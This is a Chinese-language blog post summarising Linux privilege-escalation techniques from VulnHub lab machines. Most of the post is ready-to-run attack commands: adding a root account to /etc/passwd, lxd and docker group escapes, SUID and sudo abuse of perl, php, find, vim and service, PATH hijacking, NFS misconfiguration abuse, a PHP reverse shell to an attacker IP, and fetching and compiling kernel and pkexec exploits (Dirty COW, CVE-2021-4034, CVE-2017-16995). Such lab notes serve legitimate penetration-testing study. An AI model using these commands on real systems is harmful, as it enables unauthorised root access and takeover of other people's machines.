vulnhub靶场linux提权总结

0x001 命令提权


1.passwd提权

两种密码生成方式:

perl -le 'print crypt("123456","addedsalt")'
echo "hack:adrla7IBSfTZQ:0:0:hack:/root:/bin/bash" >> passwd

openssl passwd -1 -salt hacker 123456
echo "hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:hacker:/root:/bin/bash" >> /etc/passwd

2.lxd提权

更多利用方法参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation#with-internet

LXD全称Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作.

利用exp

searchsploit lxd # kali搜索lxd即可

exp利用镜像:https://github.com/saghul/lxd-alpine-builder/

下载到目标机,设置权限,运行以下命令即可。

46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz

3.perl提权

第一种提权方式:

条件:perl具有suid权限并且使用perl命令不需要密码

利用方式:sudo perl -e 'exec "/bin/bash"'

第二种提权方式:

条件:如果二进制文件具有 Linux功能集,或者由具有该功能集的另一个二进制文件执行,则可以将其用作后门,通过操作自己的进程 UID 来维护特权访问。

利用方式:./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

4.php反弹shell提权

条件:php具有suid权限并且使用perl命令不需要密码

利用方式:

目标机:sudo php -r '$sock=fsockopen("192.168.1.109",9999);exec("/bin/bash -i <&3 >&3 2>&3");'

攻击机:nc -lvnp 9999

5.相似命令调用提权

条件:具有suid权限,并且可以调用系统命令执行

netscan具有suid权限,可以调用netstat命令

echo "/bin/sh" >netstat   
chmod 777 netstat
export PATH=/tmp:$PATH    #设置环境变量
netscan

6.cpulimit提权

条件:cpulimit具有suid权限

exp:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc,char *argv[])
{
	setreuid(0,0);
	execve("/bin/bash",NULL,NULL);
}

利用方式一:

gcc test.c -o exp    #编译为可执行文件并上传到目标机
cpulimit -l 100 -f ./exp

利用方式二:

./cpulimit -l 100 -f -- /bin/sh -p

7.pkexec提权

条件:具有suid权限

poc下载:https://github.com/arthepsy/CVE-2021-4034

利用方式:

wget http://192.168.1.106/poc.c   #下载poc到目标机
gcc poc.c -o exp                  #编译为可执行文件
chmod +x exp                      #设置执行权限
./exp                             #运行

8.docker提权

条件:普通用户在docker组,且root账号的默认组是docker

利用方式:

docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh   #创建容器(自动下载alpine文件)
docker images
docker run -it -v /:/mbt bfe296a52501    #创建宿主机目录到/mbt目录

9.find提权

条件:具有suid权限

利用方式:find test -exec /bin/bash -p \; -quit

10.python提权

条件:具有root权限

运行python
import os
os.system("id")
os.system("/bin/bash -i")

11.service提权

条件:具有root权限,不需要密码可以执行

sudo service ../../bin/bash

12.nfs配置错误提权

参考:https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting#hacktricks-automatic-commands

利用方法:

#攻击者
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#受害者
cd <SHAREDD_FOLDER>
./bash -p #ROOT sh

13.vim提权

条件:具有root权限并且不需要密码

利用方式:

sudo vim
ESC + 冒号 输入shell
回车即可提权成功。

更多利用方式参考:https://gtfobins.github.io/gtfobins/vim/

14.ht软件编辑器提权

查看当前用户权限,发现ht具有root权限。而且提示我们ht是一个软件编辑器。

apt install terminal.app  # 这里我是安装terminal.app利用的
 
terminal  # 运行
 
出现蓝色界面,按F3,然后输入/etc/sudoers,回车

添加如下图内容,然后按F2保存,Ctrl+c退出即可。

重新查看用户权限,发现已经成功添加,sudo执行即可获取root权限。


0x002 linux内核提权


1.脏牛提权

条件:>=2.4.22的所有linux内核版本

漏洞检测脚本:https://github.com/mzet-/linux-exploit-suggester

exp下载:https://www.exploit-db.com/download/40616

利用方式:

mv 40616 exp.c              #重命名为.c格式文件
gcc exp.c -o exp -pthread   #gcc编译为可执行文件
chmod +x exp                #添加执行权限(先上传到目标机)

2.cve-2017-16995 提权

条件:Linux Kernel Version 4.14-4.4

exp:kali搜索45010.c文件

利用方式:

gcc 45010.c -o exp   #编译为可执行文件
chmod +x exp         #添加执行权限(先上传到目标机)

后面遇到新的会更新。。。

posted @ 2022-11-20 16:39  Cx330Lm  阅读(565)  评论(0编辑  收藏  举报